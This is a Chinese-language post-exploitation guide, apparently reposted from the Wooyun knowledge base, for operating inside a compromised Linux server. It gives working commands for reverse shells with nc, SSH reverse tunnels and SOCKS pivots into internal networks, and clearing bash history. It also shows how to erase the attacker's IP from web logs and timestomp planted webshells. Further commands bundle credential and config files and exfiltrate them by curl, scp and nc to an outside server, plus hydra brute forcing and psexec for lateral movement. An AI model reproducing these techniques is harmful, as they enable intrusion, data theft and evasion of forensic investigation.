各種環境下的滲透測試

wyzsk發表於2020-08-19
作者: insight-labs · 2013/08/06 19:18

getshell:


找到切入點後,首先是要彈個shell,一般我用back.py

配合nc使用,nc監聽埠就不說了。

back.py會自動去掉各種history記錄,確保shell斷掉的時候不會被記錄到bash_history裡面

ssh各種姿勢


反彈內網埠:

ssh有幾個比較重要的引數:

-f: 連線成功後切換到後臺,不會佔用當前的shell,shell斷了也會繼續執行,相當於 nohup和&。 
-N: 連線後不呼叫shell,用處後面講。 
-R:把本地網路(可以是本機或者任何內網甚至外網埠)埠反彈到ssh伺服器

用法:

首先你要有個外網ip的ssh伺服器,如果目標內網限制了訪問埠,可以開到常見埠比如80或者443上面,可以直接改設定或者iptables對映一下。你需要有這個伺服器的root許可權。在sshd_config裡面開啟埠轉發, AllowTcpForwarding yes 還有 Gateway Ports,如果之前沒開的話改完需要重啟一下sshd。

另外就是因為反彈埠需要讓目標機器登入到你的ssh伺服器,為了安全起見需要建立一個專門用來埠轉發的使用者,useradd隨便建個使用者,設定密碼然後到/etc/passwd裡面,把最後一個':'後面的shell位置改成/sbin/nologin或者/bin/false,這樣即使對方記錄了你的ssh密碼也沒法對你轉發的伺服器做什麼(比如取證之類)

-N的作用:

因為轉發用的使用者沒有shell,如果沒有-N的話會因為得不到shell而自動斷開連線,-N可以避免這一點。

開始轉發:

ssh -fNR 要反彈到的埠:目標本機或者內外ip:要反彈的目標埠 [email protected] 執行後會問你轉發使用者名稱的密碼,輸入成功後會自動切換到後臺

例子1:

本地轉發: 目標機器上有個oracle埠在1521,但是隻能從內網訪問。提權提不上,沒裝sqlplus等工具,webshell資料庫管理各種出錯,不過翻到了登入使用者名稱和密碼。不過我自己的機器上裝了個navicat for oracle⋯⋯ ssh伺服器上的埠轉發使用者名稱叫forward,伺服器ip是123.123.123.123

ssh -fNR 11521:127.0.0.1:1521 [email protected]

注意:之所以開到11521埠是因為<1024的埠需要root許可權才能佔用,另外注意你反彈到伺服器的埠不能被iptables之類的擋住,不然你沒法從外網訪問(廢話麼)

反彈成功後,開啟navicat,新建個連線,ip輸入123.123.123.123,埠輸入11521,然後使用者名稱和密碼,啪啪啪⋯⋯連上了

例子2:

內網ip轉發: 除了能轉發localhost,還能轉發內網其他ip的埠,甚至在不同網段都行,只要能從內網的已淪陷機器訪問到就行。比如內網有個windows伺服器,ip 192.168.5.10, 開了3389埠,不過也只能在內網訪問⋯⋯

ssh -fNR 13389:192.168.5.10:3389 [email protected]

反彈成功後mstsc連123.123.123.123:13389即可⋯⋯

ssh轉發埠是可以多開的,就是要注意轉發到你伺服器的埠不要重了。

用完之後記得關掉:

ps aux|grep ssh

在程式裡可以看到ssh的轉發命令,把pid kill了就行。另外也可以在ssh伺服器端kill,

netstat -anp|grep sshd

ssh的時候會記錄known_hosts,所以最後擦屁股的時候記得到開ssh的使用者名稱的home資料夾 .ssh裡面把known_hosts清掉

ssh反彈socks5方法

如果用ssh自帶的socks5伺服器的話,需要一個能在本地登入的帳號,可以是nologin的,但是必須要能登入,如果不是root的話,socks埠只能開到>1024的埠。原理是先在本地開socks5,然後把本地socks5伺服器的埠彈到遠端伺服器。

姿勢:

ssh -fND 127.0.0.1:8080 [email protected]

這樣會在本地8080埠開socks5代理,然後反彈

ssh -fNR 18080:127.0.0.1:8080 [email protected]

這樣可以把socks5代理彈到123.123.123.123的18080埠,可以用proxychains和其他支援socks5代理的工具最大限度的窺探內網

Linux下隱藏痕跡


透過其他方式得到shell的話,需要去掉histfile等環境變數:

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;

登入ssh後管理員用w檢視當前登入使用者,所以有必要隱藏,推薦xi4oyu的logtamper

清除日誌裡指定內容:

日誌必須是文字格式,而且你有許可權讀寫⋯⋯

awk '!/pattern/' filename > temp && mv temp filename

這個原理說白了就是去掉原檔案裡的指定內容然後生成新檔案,再用新的覆蓋舊的,弄完記得用chmod還原原來的屬性. 例子:

awk '!/123.123.123.123/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log

去掉所有包含123.123.123.123的日誌記錄。 可以匹配多個關鍵詞:

awk '!/123.123.123.123|111.111.111.111|phpspy.php/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log

修改檔案訪問|建立|修改時間:

touch -amt 200901231532 檔名 

改成2009年1月23號15點32分

批次修改時間:

比如你在一個資料夾改了很多php插了一堆一句話:

ls|xargs touch -amt 200901231532 

把當前目錄所有檔案時間都改了

資訊蒐集:

find / ! -path "/usr/share/*" -regex ".*.sh$|.*.pl$|.*.py$|.*.conf$|.*.cnf$|.*.ini$|.*\/..*history$|.*\/..*pass.*$|.*secret$" -print|zip pack.zip -@ 

打包各種指令碼和配置檔案還有history日誌。 有的環境下zip需要一些引數才能用,請自行修改

在/var/www蒐集全部 conf.php然後打包

find /var/www -name '*conf*.php' -print | zip config.zip -@

找包含特定內容的檔案並且那一行顯示出來:

grep -RPa --include=*.php ’($PATTERNS)‘ $SEARCH_DIR

比如在web目錄找包含password這個詞的所有php

grep -RPa --include=*.php 'password' /var/www 

pattern可以用正則,可以不指定檔案型別(很慢⋯⋯)

檔案傳送:


找到需要的東西后,怎麼往外發也是個問題,一般大檔案用ftp,scp,小檔案用nc。

ftp方法:

如果目標裝了curl的話就很簡單了

curl -v -T 檔名 ftp://username:[email protected]

scp方法:

適合有ids之類東西的地方,可以把sshd開到443等傳統加密流量的介面,scp帳號需要有寫入和執行shell的許可權

scp backup.tgz [email protected]:/tmp/backup.tgz

nc方法:

先在服務端監聽

nc -l port > 檔名

然後到要傳送檔案的伺服器

nc 服務端ip 埠 < 檔名

傳送小檔案還行,大檔案有時候會斷。

從linux到windows


有些時候你拿了linux伺服器的shell,想跨到windows的機器上,基本就是透過兩個手段,一個是針對windows的服務進行exploit溢位,還有就是利用在linux上搜集的使用者名稱和密碼然後透過psexec放shell。

首先要確定windows主機的位置和開啟的服務,在內網掃開445和3389的機器,基本是windows了,掃的時候要注意,不管用什麼工具,儘量用socket connect的方式掃。像SYN 方式掃描如果內網有ids之類肯定會被發現,connect方式掃描相對來說和正常連線差不多。 掃到windows機器列表後,準備好剛才在linux下收集的各種使用者名稱和密碼,還有一些常見的弱密碼,生成密碼字典和使用者名稱字典,字典裡再加上一些windows本身的使用者名稱,比如administrator。 嘗試密碼的話直接在linux下用hydra,破解smb密碼,運氣好的話,只要掃出一個,就能用psexec getshell了。運氣不好就剩下溢位這一條路了。如果溢位都不行,windows主機和linux在同一個網段的話,還可以試試透過arp spoof抓smb認證包,然後把hash弄出來破解或者注入hash,但是動靜會比較大,不到最後不建議使用。

psexec:

有幾種選擇,metasploit裡面auxiliary裡面的psexec模組,可以直接放個msf的reverse paylaod上去。另外可以把windows的伺服器的445埠反彈出來,再找個windows的機器用psexec。還有就是直接在內網的linux機器上用python的psexec,https://code.google.com/p/impacket/

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章